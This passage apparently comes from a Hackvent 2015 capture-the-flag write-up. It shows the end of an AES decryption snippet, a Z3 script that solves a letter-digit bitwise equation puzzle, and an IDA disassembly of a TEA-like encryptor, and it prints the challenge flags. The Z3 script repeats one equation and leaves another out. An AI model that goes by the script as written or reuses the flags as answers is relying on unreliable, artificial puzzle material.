		rijndaelManaged.Mode = CipherMode.ECB;
		ICryptoTransform cryptoTransformDecrypt = rijndaelManaged.CreateDecryptor();

		// Do it
		byte[] result = cryptoTransformDecrypt.TransformFinalBlock(target2,0, target2.Length);
		System.Text.Encoding encoding = new System.Text.ASCIIEncoding();

		// print result
		Console.WriteLine(encoding.GetString(result));
	}
}

Flag

HV15-uQEJ-4HPX-Qcau-Xvt7-NAlP

Dec 15: Paper and Pen

Challenge

applying bitwise equations on decimals

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
We've captured a strange message. It looks like it is encrypted somehow ...
iw, hu, fv, lu, dv, cy, og, lc, gy, fq, od, lo, fq, is, ig, gu, hs, hi, ds, cy, oo, os, iu, fs, gu, lh, dq, lv, gu, iw, hv, gu, di, hs, cy, oc, iw, gc


We've also intercepted what seems to be a hint to the key:
bytwycju + yzvyjjdy ^ vugljtyn + ugdztnwv | xbfziozy = bzuwtwol
    ^         ^          ^          ^          ^
wwnnnqbw - uclfqvdu & oncycbxh | oqcnwbsd ^ cgyoyfjg = vyhyjivb
    &         &          &          &          &
yzdgotby | oigsjgoj | ttligxut - dhcqxtfw & szblgodf = sfgsoxdd
    +         +          +          +          +
yjjowdqh & niiqztgs + ctvtwysu & diffhlnl - thhwohwn = xsvuojtx
    -         -           -         -          -
nttuhlnq ^ oqbctlzh - nshtztns ^ htwizvwi + udluvhcz = syhjizjq
    =         =           =         =          =
fjivucti   zoljwdfl   sugvqgww   uxztiywn   jqxizzxq


Note:
  assume q != 0
  a letter is a decimal digit is a letter
  each digit has exactly two different letter representations
  C-like operator precedence

Solution

This was another tough one, after the deadline ended a hint was given to use Z3 theorem prover, which was very helpful.

We installed the Z3 python library:

1
pip install https://pypi.python.org/packages/source/a/angr-z3/angr-z3-4.4.2.tar.gz

And created the following script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
from z3 import *
from string import maketrans

init('/usr/local/lib/libz3.so')

solver = Solver()

# create bitvector for each variable
b,c,d,f,g,h,i,j,l,n,o,q,s,t,u,v,w,x,y,z = BitVecs('b c d f g h i j l n o q s t u v w x y z',32)

# variables must be between 0 and 9
solver.add(b>=0,c>=0,d>=0,f>=0,g>=0,h>=0,i>=0,j>=0,l>=0,n>=0,o>=0,q>=0,s>=0,t>=0,u>=0,v>=0,w>=0,x>=0,y>=0,z>=0)
solver.add(b<10,c<10,d<10,f<10,g<10,h<10,i<10,j<10,l<10,n<10,o<10,q<10,s<10,t<10,u<10,v<10,w<10,x<10,y<10,z<10)

# we know q isnt zero
solver.add(q!=0)

# no more than two letters can represent the same value
# NOTE: this can definitely be done better, but could not find correct way to specify it quickly..
# autogenerated this list of constraints, for all combination of 3 variables they can not all represent same value
solver.add(Not(And(b==c,c==d)))
solver.add(Not(And(b==c,c==f)))
solver.add(Not(And(b==c,c==g)))

[..]

solver.add(Not(And(w==x,x==z)))
solver.add(Not(And(w==y,y==z)))
solver.add(Not(And(x==y,y==z)))


# Add all the equations

# bytwycju + yzvyjjdy ^ vugljtyn + ugdztnwv | xbfziozy = bzuwtwol
solver.add(
  (((b*pow(10,7)+y*pow(10,6)+t*pow(10,5)+w*pow(10,4)+y*pow(10,3)+c*pow(10,2)+j*pow(10,1)+u)
  +
  (y*pow(10,7)+z*pow(10,6)+v*pow(10,5)+y*pow(10,4)+j*pow(10,3)+j*pow(10,2)+d*pow(10,1)+y))
  ^
  ((v*pow(10,7)+u*pow(10,6)+g*pow(10,5)+l*pow(10,4)+j*pow(10,3)+t*pow(10,2)+y*pow(10,1)+n)
  +
  (u*pow(10,7)+g*pow(10,6)+d*pow(10,5)+z*pow(10,4)+t*pow(10,3)+n*pow(10,2)+w*pow(10,1)+v)))
  |
  (x*pow(10,7)+b*pow(10,6)+f*pow(10,5)+z*pow(10,4)+i*pow(10,3)+o*pow(10,2)+z*pow(10,1)+y)
  ==
  (b*pow(10,7)+z*pow(10,6)+u*pow(10,5)+w*pow(10,4)+t*pow(10,3)+w*pow(10,2)+o*pow(10,1)+l)
)

# wwnnnqbw - uclfqvdu & oncycbxh | oqcnwbsd ^ cgyoyfjg = vyhyjivb
solver.add(
  (((w*pow(10,7)+w*pow(10,6)+n*pow(10,5)+n*pow(10,4)+n*pow(10,3)+q*pow(10,2)+b*pow(10,1)+w )
  -
  (u*pow(10,7)+c*pow(10,6)+l*pow(10,5)+f*pow(10,4)+q*pow(10,3)+v*pow(10,2)+d*pow(10,1)+u ))
  &
  (o*pow(10,7)+n*pow(10,6)+c*pow(10,5)+y*pow(10,4)+c*pow(10,3)+b*pow(10,2)+x*pow(10,1)+h ))
  |
  ((o*pow(10,7)+q*pow(10,6)+c*pow(10,5)+n*pow(10,4)+w*pow(10,3)+b*pow(10,2)+s*pow(10,1)+d )
  ^
  (c*pow(10,7)+g*pow(10,6)+y*pow(10,5)+o*pow(10,4)+y*pow(10,3)+f*pow(10,2)+j*pow(10,1)+g ))
  ==
  (v*pow(10,7)+y*pow(10,6)+h*pow(10,5)+y*pow(10,4)+j*pow(10,3)+i*pow(10,2)+v*pow(10,1)+b )
)


# yzdgotby | oigsjgoj | ttligxut - dhcqxtfw & szblgodf = sfgsoxdd
solver.add(
  (y*pow(10,7)+z*pow(10,6)+d*pow(10,5)+g*pow(10,4)+o*pow(10,3)+t*pow(10,2)+b*pow(10,1)+y )
  |
  (o*pow(10,7)+i*pow(10,6)+g*pow(10,5)+s*pow(10,4)+j*pow(10,3)+g*pow(10,2)+o*pow(10,1)+j )
  |
  (((t*pow(10,7)+t*pow(10,6)+l*pow(10,5)+i*pow(10,4)+g*pow(10,3)+x*pow(10,2)+u*pow(10,1)+t )
  -
  (d*pow(10,7)+h*pow(10,6)+c*pow(10,5)+q*pow(10,4)+x*pow(10,3)+t*pow(10,2)+f*pow(10,1)+w ))
  &
  (s*pow(10,7)+z*pow(10,6)+b*pow(10,5)+l*pow(10,4)+g*pow(10,3)+o*pow(10,2)+d*pow(10,1)+f ))
  ==
  (s*pow(10,7)+f*pow(10,6)+g*pow(10,5)+s*pow(10,4)+o*pow(10,3)+x*pow(10,2)+d*pow(10,1)+d )
)

# nttuhlnq ^ oqbctlzh - nshtztns ^ htwizvwi+udluvhcz = syhjizjq
solver.add(
  (n*pow(10,7)+t*pow(10,6)+t*pow(10,5)+u*pow(10,4)+h*pow(10,3)+l*pow(10,2)+n*pow(10,1)+q )
  ^
  ((o*pow(10,7)+q*pow(10,6)+b*pow(10,5)+c*pow(10,4)+t*pow(10,3)+l*pow(10,2)+z*pow(10,1)+h )
  -
  (n*pow(10,7)+s*pow(10,6)+h*pow(10,5)+t*pow(10,4)+z*pow(10,3)+t*pow(10,2)+n*pow(10,1)+s ))
  ^
  ((h*pow(10,7)+t*pow(10,6)+w*pow(10,5)+i*pow(10,4)+z*pow(10,3)+v*pow(10,2)+w*pow(10,1)+i )
  +
  (u*pow(10,7)+d*pow(10,6)+l*pow(10,5)+u*pow(10,4)+v*pow(10,3)+h*pow(10,2)+c*pow(10,1)+z ))
  ==
  (s*pow(10,7)+y*pow(10,6)+h*pow(10,5)+j*pow(10,4)+i*pow(10,3)+z*pow(10,2)+j*pow(10,1)+q )
)

# nttuhlnq ^ oqbctlzh - nshtztns ^ htwizvwi + udluvhcz = syhjizjq
solver.add(
 (n*pow(10,7)+t*pow(10,6)+t*pow(10,5)+u*pow(10,4)+h*pow(10,3)+l*pow(10,2)+n*pow(10,1)+q )
 ^
 ((o*pow(10,7)+q*pow(10,6)+b*pow(10,5)+c*pow(10,4)+t*pow(10,3)+l*pow(10,2)+z*pow(10,1)+h )
 -
 (n*pow(10,7)+s*pow(10,6)+h*pow(10,5)+t*pow(10,4)+z*pow(10,3)+t*pow(10,2)+n*pow(10,1)+s ))
 ^
 ((h*pow(10,7)+t*pow(10,6)+w*pow(10,5)+i*pow(10,4)+z*pow(10,3)+v*pow(10,2)+w*pow(10,1)+i )
 +
 (u*pow(10,7)+d*pow(10,6)+l*pow(10,5)+u*pow(10,4)+v*pow(10,3)+h*pow(10,2)+c*pow(10,1)+z ))
 ==
 (s*pow(10,7)+y*pow(10,6)+h*pow(10,5)+j*pow(10,4)+i*pow(10,3)+z*pow(10,2)+j*pow(10,1)+q )
)

# bytwycju ^ wwnnnqbw & yzdgotby + yjjowdqh  - nttuhlnq = fjivucti
solver.add(
  (b*pow(10,7)+y*pow(10,6)+t*pow(10,5)+w*pow(10,4)+y*pow(10,3)+c*pow(10,2)+j*pow(10,1)+u )
  ^
  ((w*pow(10,7)+w*pow(10,6)+n*pow(10,5)+n*pow(10,4)+n*pow(10,3)+q*pow(10,2)+b*pow(10,1)+w )
  &
  ((y*pow(10,7)+z*pow(10,6)+d*pow(10,5)+g*pow(10,4)+o*pow(10,3)+t*pow(10,2)+b*pow(10,1)+y )
  +
  (y*pow(10,7)+j*pow(10,6)+j*pow(10,5)+o*pow(10,4)+w*pow(10,3)+d*pow(10,2)+q*pow(10,1)+h )
  -
  (n*pow(10,7)+t*pow(10,6)+t*pow(10,5)+u*pow(10,4)+h*pow(10,3)+l*pow(10,2)+n*pow(10,1)+q )))
  ==
  (f*pow(10,7)+j*pow(10,6)+i*pow(10,5)+v*pow(10,4)+u*pow(10,3)+c*pow(10,2)+t*pow(10,1)+i )
)

# yzvyjjdy ^ uclfqvdu & oigsjgoj + niiqztgs - oqbctlzh = zoljwdfl
solver.add(
  (y*pow(10,7)+z*pow(10,6)+v*pow(10,5)+y*pow(10,4)+j*pow(10,3)+j*pow(10,2)+d*pow(10,1)+y )
  ^
  ((u*pow(10,7)+c*pow(10,6)+l*pow(10,5)+f*pow(10,4)+q*pow(10,3)+v*pow(10,2)+d*pow(10,1)+u )
  &
  ((o*pow(10,7)+i*pow(10,6)+g*pow(10,5)+s*pow(10,4)+j*pow(10,3)+g*pow(10,2)+o*pow(10,1)+j )
  +
  (n*pow(10,7)+i*pow(10,6)+i*pow(10,5)+q*pow(10,4)+z*pow(10,3)+t*pow(10,2)+g*pow(10,1)+s )
  -
  (o*pow(10,7)+q*pow(10,6)+b*pow(10,5)+c*pow(10,4)+t*pow(10,3)+l*pow(10,2)+z*pow(10,1)+h )))
  ==
  (z*pow(10,7)+o*pow(10,6)+l*pow(10,5)+j*pow(10,4)+w*pow(10,3)+d*pow(10,2)+f*pow(10,1)+l )
)

# vugljtyn ^ oncycbxh & ttligxut + ctvtwysu - nshtztns = sugvqgww
solver.add(
  (v*pow(10,7)+u*pow(10,6)+g*pow(10,5)+l*pow(10,4)+j*pow(10,3)+t*pow(10,2)+y*pow(10,1)+n )
  ^
  ((o*pow(10,7)+n*pow(10,6)+c*pow(10,5)+y*pow(10,4)+c*pow(10,3)+b*pow(10,2)+x*pow(10,1)+h )
  &
  ((t*pow(10,7)+t*pow(10,6)+l*pow(10,5)+i*pow(10,4)+g*pow(10,3)+x*pow(10,2)+u*pow(10,1)+t )
  +
  (c*pow(10,7)+t*pow(10,6)+v*pow(10,5)+t*pow(10,4)+w*pow(10,3)+y*pow(10,2)+s*pow(10,1)+u )
  -
  (n*pow(10,7)+s*pow(10,6)+h*pow(10,5)+t*pow(10,4)+z*pow(10,3)+t*pow(10,2)+n*pow(10,1)+s )))
  ==
  (s*pow(10,7)+u*pow(10,6)+g*pow(10,5)+v*pow(10,4)+q*pow(10,3)+g*pow(10,2)+w*pow(10,1)+w )
)

# ugdztnwv ^ oqcnwbsd & dhcqxtfw + diffhlnl - htwizvwi = uxztiywn
solver.add(
  (u*pow(10,7)+g*pow(10,6)+d*pow(10,5)+z*pow(10,4)+t*pow(10,3)+n*pow(10,2)+w*pow(10,1)+v )
  ^
  ((o*pow(10,7)+q*pow(10,6)+c*pow(10,5)+n*pow(10,4)+w*pow(10,3)+b*pow(10,2)+s*pow(10,1)+d )
  &
 ( (d*pow(10,7)+h*pow(10,6)+c*pow(10,5)+q*pow(10,4)+x*pow(10,3)+t*pow(10,2)+f*pow(10,1)+w )
  +
  (d*pow(10,7)+i*pow(10,6)+f*pow(10,5)+f*pow(10,4)+h*pow(10,3)+l*pow(10,2)+n*pow(10,1)+l )
  -
  (h*pow(10,7)+t*pow(10,6)+w*pow(10,5)+i*pow(10,4)+z*pow(10,3)+v*pow(10,2)+w*pow(10,1)+i )))
  ==
  (u*pow(10,7)+x*pow(10,6)+z*pow(10,5)+t*pow(10,4)+i*pow(10,3)+y*pow(10,2)+w*pow(10,1)+n )
)

# xbfziozy ^ cgyoyfjg & szblgodf + thhwohwn - udluvhcz  = jqxizzxq
solver.add(
  (x*pow(10,7)+b*pow(10,6)+f*pow(10,5)+z*pow(10,4)+i*pow(10,3)+o*pow(10,2)+z*pow(10,1)+y )
  ^
  ((c*pow(10,7)+g*pow(10,6)+y*pow(10,5)+o*pow(10,4)+y*pow(10,3)+f*pow(10,2)+j*pow(10,1)+g )
  &
  ((s*pow(10,7)+z*pow(10,6)+b*pow(10,5)+l*pow(10,4)+g*pow(10,3)+o*pow(10,2)+d*pow(10,1)+f )
  +
  (t*pow(10,7)+h*pow(10,6)+h*pow(10,5)+w*pow(10,4)+o*pow(10,3)+h*pow(10,2)+w*pow(10,1)+n )
  -
  (u*pow(10,7)+d*pow(10,6)+l*pow(10,5)+u*pow(10,4)+v*pow(10,3)+h*pow(10,2)+c*pow(10,1)+z )))
  ==
  (j*pow(10,7)+q*pow(10,6)+x*pow(10,5)+i*pow(10,4)+z*pow(10,3)+z*pow(10,2)+x*pow(10,1)+q )
)


#find solution
print(solver.check())
print(solver.model())

#translate message
msg='iw hu fv lu dv cy og lc gy fq od lo fq is ig gu hs hi ds cy oo os iu fs gu lh dq lv gu iw hv gu di hs cy oc iw gc'
fromstring='bcdfghijlnoqstuvwxyz'
tostring=''+str(solver.model()[b])+str(solver.model()[c])+str(solver.model()[d])+str(solver.model()[f])+str(solver.model()[g])+str(solver.model()[h])+str(solver.model()[i])+str(solver.model()[j])+str(solver.model()[l])+str(solver.model()[n])+str(solver.model()[o])+str(solver.model()[q])+str(solver.model()[s])+str(solver.model()[t])+str(solver.model()[u])+str(solver.model()[v])+str(solver.model()[w])+str(solver.model()[x])+str(solver.model()[y])+str(solver.model()[z])

mytrans=maketrans(fromstring,tostring)
print msg.translate(mytrans)

We run this and find the solution!!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
sat
[x = 1,
 z = 0,
 c = 3,
 v = 9,
 s = 9,
 q = 5,
 l = 8,
 g = 3,
 b = 5,
 f = 6,
 i = 8,
 o = 7,
 j = 0,
 u = 2,
 h = 7,
 w = 4,
 n = 1,
 d = 6,
 y = 2,
 t = 4]
84 72 69 82 69 32 73 83 32 65 76 87 65 89 83 32 79 78 69 32 77 79 82 69 32 87 65 89 32 84 79 32 68 79 32 73 84 33

The translated message converted to ASCII reads:

1
THERE IS ALWAYS ONE MORE WAY TO DO IT!

Flag

HV15-U3bA-BKhc-gNqN-Hit6-C1fK

Dec 16: Reversing #2

Challenge

xmas encryptor

todays code was encrypted by our mighty xmas encryptor. you are given the executable and the encrypted key. can you find a vulnerability in our code to decrypt the daily code?

file

Hint: do not ignore constants in the encrypt() routine - it can help you to identify the algorithm.

Solution

This was a tough one for me. We got a windows executable, and a file with the encrypted nugget.

We disassemble the file:

link

CODE:00401000 ;
CODE:00401000 ; +-------------------------------------------------------------------------+
CODE:00401000 ; |   This file has been generated by The Interactive Disassembler (IDA)    |
CODE:00401000 ; |           Copyright (c) 2015 Hex-Rays, <support@hex-rays.com>           |
CODE:00401000 ; |                           Evaluation version                            |
CODE:00401000 ; +-------------------------------------------------------------------------+
CODE:00401000 ;
CODE:00401000 ; Input MD5   : C8898E2B195C4ED57EBAD43B9320F2E5
CODE:00401000 ; Input CRC32 : 81B7419B
CODE:00401000
CODE:00401000 ; File Name   : E:\personal\CTF\ctf-writeups\CTF-writeups-private\Hackvent_2015\writeupfiles\HVenc\hackvent_encryptor.exe
CODE:00401000 ; Format      : Portable executable for 80386 (PE)
CODE:00401000 ; Imagebase   : 400000
CODE:00401000 ; Section 1. (virtual address 00001000)
CODE:00401000 ; Virtual size                  : 00001000 (   4096.)
CODE:00401000 ; Section size in file          : 00000200 (    512.)
CODE:00401000 ; Offset to raw data for section: 00000600
CODE:00401000 ; Flags 60000020: Text Executable Readable
CODE:00401000 ; Alignment     : default
CODE:00401000
CODE:00401000                 .686p
CODE:00401000                 .mmx
CODE:00401000                 .model flat
CODE:00401000
CODE:00401000 ; ===========================================================================
CODE:00401000
CODE:00401000 ; Segment type: Pure code
CODE:00401000 ; Segment permissions: Read/Execute
CODE:00401000 CODE            segment para public 'CODE' use32
CODE:00401000                 assume cs:CODE
CODE:00401000                 ;org 401000h
CODE:00401000                 assume es:nothing, ss:nothing, ds:CODE, fs:nothing, gs:nothing
CODE:00401000
CODE:00401000 ; =============== S U B R O U T I N E =======================================
CODE:00401000
CODE:00401000 ; Attributes: bp-based frame
CODE:00401000
CODE:00401000 sub_401000      proc near               ; CODE XREF: start+87p
CODE:00401000
CODE:00401000 arg_0           = dword ptr  8
CODE:00401000 arg_4           = dword ptr  0Ch
CODE:00401000
CODE:00401000                 enter   0, 0
CODE:00401004                 pusha
CODE:00401005                 mov     esi, [ebp+arg_4]
CODE:00401008                 mov     eax, [esi]
CODE:0040100A                 mov     ebx, [esi+4]
CODE:0040100D                 mov     ecx, [esi+8]
CODE:00401010                 mov     edx, [esi+0Ch]
CODE:00401013                 mov     ds:dword_40203C, eax
CODE:00401018                 mov     ds:dword_402040, ebx
CODE:0040101E                 mov     ds:dword_402044, ecx
CODE:00401024                 mov     ds:dword_402048, edx
CODE:0040102A                 push    ebp
CODE:0040102B                 mov     ebx, [ebp+arg_0]
CODE:0040102E                 xor     edx, edx
CODE:00401030                 mov     esi, [ebx]
CODE:00401032                 mov     edi, [ebx+4]
CODE:00401035                 mov     ebp, 20h
CODE:0040103A
CODE:0040103A loc_40103A:                             ; CODE XREF: sub_401000+81j
CODE:0040103A                 add     edx, 9E3779B9h
CODE:00401040                 mov     eax, edi
CODE:00401042                 mov     ecx, eax
CODE:00401044                 mov     ebx, edi
CODE:00401046                 shl     eax, 4
CODE:00401049                 shr     ebx, 5
CODE:0040104C                 add     eax, ds:dword_40203C
CODE:00401052                 add     ebx, ds:dword_402040
CODE:00401058                 add     ecx, edx
CODE:0040105A                 xor     ecx, eax
CODE:0040105C                 xor     ecx, ebx
CODE:0040105E                 add     esi, ecx
CODE:00401060                 mov     eax, esi
CODE:00401062                 mov     ebx, esi
CODE:00401064                 mov     ecx, esi
CODE:00401066                 shl     eax, 4
CODE:00401069                 shr     ebx, 5
CODE:0040106C                 add     eax, ds:dword_402044
CODE:00401072                 add     ebx, ds:dword_402048
CODE:00401078                 add     ecx, edx
CODE:0040107A                 xor     ecx, eax
CODE:0040107C                 xor     ecx, ebx
CODE:0040107E                 add     edi, ecx
CODE:00401080                 dec     ebp
CODE:00401081                 jnz     short loc_40103A
CODE:00401083                 mov     ds:dword_40203C, ebp
CODE:00401089                 mov     ds:dword_402040, ebp
CODE:0040108F                 mov     ds:dword_402044, ebp
CODE:00401095                 mov     ds:dword_402048, ebp
CODE:0040109B                 pop     ebp
CODE:0040109C                 mov     ebx, [ebp+arg_0]
CODE:0040109F                 mov     [ebx], esi
CODE:004010A1                 mov     [ebx+4], edi
CODE:004010A4                 popa
CODE:004010A5                 leave
CODE:004010A6                 retn    8
CODE:004010A6 sub_401000      endp
CODE:004010A6
CODE:004010A9
CODE:004010A9 ; =============== S U B R O U T I N E =======================================
CODE:004010A9
CODE:004010A9 ; Attributes: noreturn
CODE:004010A9
CODE:004010A9                 public start
CODE:004010A9 start           proc near
CODE:004010A9                 push    0               ; lpModuleName
CODE:004010AB                 call    GetModuleHandleA
CODE:004010B0                 call    GetCurrentProcessId
CODE:004010B5                 imul    eax, 12345678h
CODE:004010BB                 mov     ds:dword_402074, eax
CODE:004010C0                 xor     eax, 0BABEF00Dh
CODE:004010C5                 mov     ds:dword_402078, eax
CODE:004010CA                 sub     eax, 1EE7C0DEh
CODE:004010CF                 mov     ds:dword_40207C, eax
CODE:004010D4                 add     eax, 42424242h
CODE:004010D9                 mov     ds:dword_402080, eax
CODE:004010DE                 push    0               ; hTemplateFile
CODE:004010E0                 push    0               ; dwFlagsAndAttributes
CODE:004010E2                 push    3               ; dwCreationDisposition
CODE:004010E4                 push    0               ; lpSecurityAttributes
CODE:004010E6                 push    3               ; dwShareMode
CODE:004010E8                 push    0C0000000h      ; dwDesiredAccess
CODE:004010ED                 push    offset FileName ; "key.txt"
CODE:004010F2                 call    CreateFileA
CODE:004010F7                 mov     ds:hFile, eax
CODE:004010FC                 cmp     ds:hFile, 0FFFFFFFFh
CODE:00401103                 jz      short loc_401165
CODE:00401105                 push    0               ; lpOverlapped
CODE:00401107                 push    offset NumberOfBytesWritten ; lpNumberOfBytesRead
CODE:0040110C                 push    20h             ; nNumberOfBytesToRead
CODE:0040110E                 push    offset unk_402050 ; lpBuffer
CODE:00401113                 push    ds:hFile        ; hFile
CODE:00401119                 call    ReadFile
CODE:0040111E                 xor     ecx, ecx
CODE:00401120                 mov     esi, offset unk_402050
CODE:00401125
CODE:00401125 loc_401125:                             ; CODE XREF: start+90j
CODE:00401125                 cmp     ecx, 4
CODE:00401128                 jz      short loc_40113B
CODE:0040112A                 push    offset dword_402074
CODE:0040112F                 push    esi
CODE:00401130                 call    sub_401000
CODE:00401135                 add     esi, 8
CODE:00401138                 inc     ecx
CODE:00401139                 jmp     short loc_401125
CODE:0040113B ; ---------------------------------------------------------------------------
CODE:0040113B
CODE:0040113B loc_40113B:                             ; CODE XREF: start+7Fj
CODE:0040113B                 push    0               ; dwMoveMethod
CODE:0040113D                 push    0               ; lpDistanceToMoveHigh
CODE:0040113F                 push    0               ; lDistanceToMove
CODE:00401141                 push    ds:hFile        ; hFile
CODE:00401147                 call    SetFilePointer
CODE:0040114C                 push    0               ; lpOverlapped
CODE:0040114E                 push    offset NumberOfBytesWritten ; lpNumberOfBytesWritten
CODE:00401153                 push    20h             ; nNumberOfBytesToWrite
CODE:00401155                 push    offset unk_402050 ; lpBuffer
CODE:0040115A                 push    ds:hFile        ; hFile
CODE:00401160                 call    WriteFile
CODE:00401165
CODE:00401165 loc_401165:                             ; CODE XREF: start+5Aj
CODE:00401165                 push    ds:hFile        ; hObject
CODE:0040116B                 call    CloseHandle
CODE:00401170                 push    40h             ; uType
CODE:00401172                 push    offset Caption  ; "Hackvent 2015"
CODE:00401177                 push    offset Text     ; "file key.txt successfully encrypted!"
CODE:0040117C                 push    0               ; hWnd
CODE:0040117E                 call    MessageBoxA
CODE:00401183                 push    0               ; uExitCode
CODE:00401185                 call    ExitProcess
CODE:00401185 start           endp
CODE:00401185
CODE:0040118A ; [00000006 BYTES: COLLAPSED FUNCTION CloseHandle. PRESS CTRL-NUMPAD+ TO EXPAND]
CODE:00401190 ; [00000006 BYTES: COLLAPSED FUNCTION ExitProcess. PRESS CTRL-NUMPAD+ TO EXPAND]
CODE:00401196 ; [00000006 BYTES: COLLAPSED FUNCTION CreateFileA. PRESS CTRL-NUMPAD+ TO EXPAND]
CODE:0040119C ; [00000006 BYTES: COLLAPSED FUNCTION GetModuleHandleA. PRESS CTRL-NUMPAD+ TO EXPAND]
CODE:004011A2 ; [00000006 BYTES: COLLAPSED FUNCTION ReadFile. PRESS CTRL-NUMPAD+ TO EXPAND]
CODE:004011A8 ; [00000006 BYTES: COLLAPSED FUNCTION SetFilePointer. PRESS CTRL-NUMPAD+ TO EXPAND]
CODE:004011AE ; [00000006 BYTES: COLLAPSED FUNCTION WriteFile. PRESS CTRL-NUMPAD+ TO EXPAND]
CODE:004011B4 ; [00000006 BYTES: COLLAPSED FUNCTION GetCurrentProcessId. PRESS CTRL-NUMPAD+ TO EXPAND]
CODE:004011BA ; [00000006 BYTES: COLLAPSED FUNCTION MessageBoxA. PRESS CTRL-NUMPAD+ TO EXPAND]
CODE:004011C0                 align 80h
CODE:00401200                 dd 380h dup(?)
CODE:00401200 CODE            ends
CODE:00401200
DATA:00402000 ; Section 2. (virtual address 00002000)
DATA:00402000 ; Virtual size                  : 00001000 (   4096.)
DATA:00402000 ; Section size in file          : 00000200 (    512.)
DATA:00402000 ; Offset to raw data for section: 00000800
DATA:00402000 ; Flags C0000040: Data Readable Writable
DATA:00402000 ; Alignment     : default
DATA:00402000 ; ===========================================================================
DATA:00402000
DATA:00402000 ; Segment type: Pure data
DATA:00402000 ; Segment permissions: Read/Write
DATA:00402000 DATA            segment para public 'DATA' use32
DATA:00402000                 assume cs:DATA
DATA:00402000                 ;org 402000h
DATA:00402000 ; CHAR FileName[]
DATA:00402000 FileName        db 'key.txt',0          ; DATA XREF: start+44o
DATA:00402008 ; CHAR Caption[]
DATA:00402008 Caption         db 'Hackvent 2015',0    ; DATA XREF: start+C9o
DATA:00402016 ; CHAR Text[]
DATA:00402016 Text            db 'file key.txt successfully encrypted!',0
DATA:00402016                                         ; DATA XREF: start+CEo
DATA:0040203B                 align 4
DATA:0040203C dword_40203C    dd 0                    ; DATA XREF: sub_401000+13w
DATA:0040203C                                         ; sub_401000+4Cr ...
DATA:00402040 dword_402040    dd 0                    ; DATA XREF: sub_401000+18w
DATA:00402040                                         ; sub_401000+52r ...
DATA:00402044 dword_402044    dd 0                    ; DATA XREF: sub_401000+1Ew
DATA:00402044                                         ; sub_401000+6Cr ...
DATA:00402048 dword_402048    dd 0                    ; DATA XREF: sub_401000+24w
DATA:00402048                                         ; sub_401000+72r ...
DATA:0040204C ; HANDLE hFile
DATA:0040204C hFile           dd 0                    ; DATA XREF: start+4Ew
DATA:0040204C                                         ; start+53r ...
DATA:00402050 unk_402050      db    0                 ; DATA XREF: start+65o
DATA:00402050                                         ; start+77o ...
DATA:00402051                 db    0
DATA:00402052                 db    0
DATA:00402053                 db    0
DATA:00402054                 db    0
DATA:00402055                 db    0
DATA:00402056                 db    0
DATA:00402057                 db    0
DATA:00402058                 db    0
DATA:00402059                 db    0
DATA:0040205A                 db    0
DATA:0040205B                 db    0
DATA:0040205C                 db    0
DATA:0040205D                 db    0
DATA:0040205E                 db    0
DATA:0040205F                 db    0
DATA:00402060                 db    0
DATA:00402061                 db    0
DATA:00402062                 db    0
DATA:00402063                 db    0
DATA:00402064                 db    0
DATA:00402065                 db    0
DATA:00402066                 db    0
DATA:00402067                 db    0
DATA:00402068                 db    0
DATA:00402069                 db    0
DATA:0040206A                 db    0
DATA:0040206B                 db    0
DATA:0040206C                 db    0
DATA:0040206D                 db    0
DATA:0040206E                 db    0
DATA:0040206F                 db    0
DATA:00402070 ; DWORD NumberOfBytesWritten
DATA:00402070 NumberOfBytesWritten dd 0               ; DATA XREF: start+5Eo
DATA:00402070                                         ; start+A5o
DATA:00402074 dword_402074    dd 0                    ; DATA XREF: start+12w
DATA:00402074                                         ; start+81o
DATA:00402078 dword_402078    dd 0                    ; DATA XREF: start+1Cw
DATA:0040207C dword_40207C    dd 0                    ; DATA XREF: start+26w
DATA:00402080 dword_402080    dd 0                    ; DATA XREF: start+30w
DATA:00402084                 align 1000h
DATA:00402084 DATA            ends
DATA:00402084
.idata:00403000 ; Section 3. (virtual address 00003000)
.idata:00403000 ; Virtual size                  : 00001000 (   4096.)
.idata:00403000 ; Section size in file          : 00000200 (    512.)
.idata:00403000 ; Offset to raw data for section: 00000A00
.idata:00403000 ; Flags C0000040: Data Readable Writable
.idata:00403000 ; Alignment     : default
.idata:00403000 ; ===========================================================================
.idata:00403000
.idata:00403000 ; Segment type: Externs
.idata:00403000 ; _idata
.idata:00403000
.idata:00403001
.idata:00403068 ;
.idata:00403068 ; Imports from KERNEL32.dll
.idata:00403068 ;
.idata:00403068 ; BOOL __stdcall CloseHandle(HANDLE hObject)
.idata:00403068                 extrn __imp_CloseHandle:dword ; DATA XREF: CloseHandler
.idata:0040306C ; void __stdcall __noreturn ExitProcess(UINT uExitCode)
.idata:0040306C                 extrn __imp_ExitProcess:dword ; DATA XREF: ExitProcessr
.idata:00403070 ; HANDLE __stdcall CreateFileA(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile)
.idata:00403070                 extrn __imp_CreateFileA:dword ; DATA XREF: CreateFileAr
.idata:00403074 ; HMODULE __stdcall GetModuleHandleA(LPCSTR lpModuleName)
.idata:00403074                 extrn __imp_GetModuleHandleA:dword
.idata:00403074                                         ; DATA XREF: GetModuleHandleAr
.idata:00403078 ; BOOL __stdcall ReadFile(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped)
.idata:00403078                 extrn __imp_ReadFile:dword ; DATA XREF: ReadFiler
.idata:0040307C ; DWORD __stdcall SetFilePointer(HANDLE hFile, LONG lDistanceToMove, PLONG lpDistanceToMoveHigh, DWORD dwMoveMethod)
